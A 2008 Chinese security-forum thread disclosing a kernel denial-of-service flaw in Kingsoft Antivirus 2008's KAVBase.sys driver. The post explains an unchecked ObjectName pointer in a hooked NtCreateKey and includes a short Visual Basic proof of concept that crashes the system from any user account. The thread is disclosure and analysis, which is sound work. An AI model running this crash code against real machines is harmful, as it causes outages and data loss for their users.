查看: 2549|回复: 9
收起左侧

[分享] 金山毒霸 2008.10.02.18 内核拒绝服务漏洞

[复制链接]
Heartstrings
发表于 2008-10-3 14:48:15 | 显示全部楼层 |阅读模式
金山毒霸是国内首家通过 VB100 认证的杀毒软件, 号称采取病毒库 + 主动防御 + 互联网可信认证技术三重防护. 该软件的主动防御部分对 SSDT 的若干项进行了挂钩.

可以看出, 金山毒霸的驱动程序员与 KV、微点等全然不重视用户态传入参数检查的程序员不同, 对用户态参数检查十分重视. 但令人遗憾的是, 金山毒霸的驱动程序员似乎全然不知正确的检查方法, 而是将 MmIsAddressValid 这一函数贯穿驱动始终. MmIsAddressValid 这一函数是微软不推荐使用的函数. 此函数的返回值代表被检查内存地址当前的合法性, 经过检查的内存地址在使用时却不一定合法. 微软告诉我们, 即使是一个合法的用户态缓存, 其地址在任何时候都不能被假设为合法. 用户态缓存的正确使用方法是在一个 try...except 块中使用, 使用前需要用 ProbeForRead 或 ProbeForWrite 验证用户态地址的有效性.

更令人遗憾的是, 由于使用了不正确的方法, 驱动程序中遗漏了部分用户态传入参数的检查, 其最新版本 2008.10.02.18 及以下所有版本的驱动程序中存在若干内核拒绝服务的漏洞, 可使任何权限的用户在安装了金山毒霸 2008 的系统上引发蓝屏.

出问题的组件: KAVBase.sys (CheckSum=0000FA0C, TimeStamp=4860DB0F)

示例函数: NtCreateKey

函数 NtCreateKey 的原型是:

NTSTATUS
NtCreateKey(
OUT PHANDLE KeyHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes,
IN ULONG TitleIndex,
IN PUNICODE_STRING Class OPTIONAL,
IN ULONG CreateOptions,
OUT PULONG Disposition OPTIONAL
)

金山毒霸在 SSDT 的挂钩函数 HookedNtCreateKey 中, 未经检查地使用了 ObjectAttributes->ObjectName, 这样, 如果我们传入一个无效的 ObjectName, 系统就会崩溃, 蓝屏重启.

值得注意的是, 按照驱动程序中的逻辑, 只有当驱动程序使用 ObReferenceObjectByHandle、ObQueryNameString 得出 ObjectAttributes->RootDirectory 的名字后, 才会使用 ObjectName, 我们必须传入一个有效的 RootDirectory 句柄引发此漏洞.

测试代码:

Declare Function ZwCreateKey Lib "ntdll" (ByVal a As Long, ByVal b As Long, ByVal c As Long, ByVal d As Long, ByVal e As Long, ByVal f As Long, ByVal g As Long) As Long

Sub Main()
Dim x(0 To 5) As Long
MsgBox "金山毒霸 2008 内核漏洞演示 by iceboy"
x(1) = 4
ZwCreateKey 0, 0, VarPtr(x(0)), 0, 0, 0, 0
End Sub



Posted by  iceboy
zjf954
发表于 2008-10-3 16:10:25 | 显示全部楼层
又出现了,MJ0011的大作
Palkia
发表于 2008-10-3 16:40:23 | 显示全部楼层
坐个板凳再看
luckyjoy
发表于 2008-10-3 18:12:24 | 显示全部楼层
蓝屏概率不大。。
lxilikepal
发表于 2008-10-3 19:14:59 | 显示全部楼层
VB代码?
挪威的冬天
发表于 2008-10-3 20:01:10 | 显示全部楼层
ICE 和 MJ 不一样

只不过这俩家伙国庆闲下来在干差不过的事情罢了
挪威的冬天
发表于 2008-10-3 20:01:42 | 显示全部楼层
原帖由 lxilikepal 于 2008-10-3 19:14 发表
VB代码?


VB 一样可以用 NATIVE API
lxilikepal
发表于 2008-10-3 21:25:59 | 显示全部楼层
原帖由 挪威的冬天 于 2008-10-3 20:01 发表


VB 一样可以用 NATIVE API


这个知道。偶的意思其实是这么容易就能触发漏洞……
fido_lee
发表于 2008-10-8 23:48:40 | 显示全部楼层
语言可能相对容易,但是研究的过程却未必容易。

MJ几乎将所有杀毒软件内核存在的问题都暴了一遍。呵呵,360看来很强大啊。
love_rain99
发表于 2008-10-9 19:01:13 | 显示全部楼层
只是进来看看,没用过金山,
您需要登录后才可以回帖 登录 | 快速注册

本版积分规则

手机版|杀毒软件|软件论坛| 卡饭论坛

Copyright © KaFan  KaFan.cn All Rights Reserved.

Powered by Discuz! X3.4( 沪ICP备2020031077号-2 ) GMT+8, 2024-11-24 05:48 , Processed in 0.129772 second(s), 16 queries .

卡饭网所发布的一切软件、样本、工具、文章等仅限用于学习和研究,不得将上述内容用于商业或者其他非法用途,否则产生的一切后果自负,本站信息来自网络,版权争议问题与本站无关,您必须在下载后的24小时之内从您的电脑中彻底删除上述信息,如有问题请通过邮件与我们联系。

快速回复 客服 返回顶部 返回列表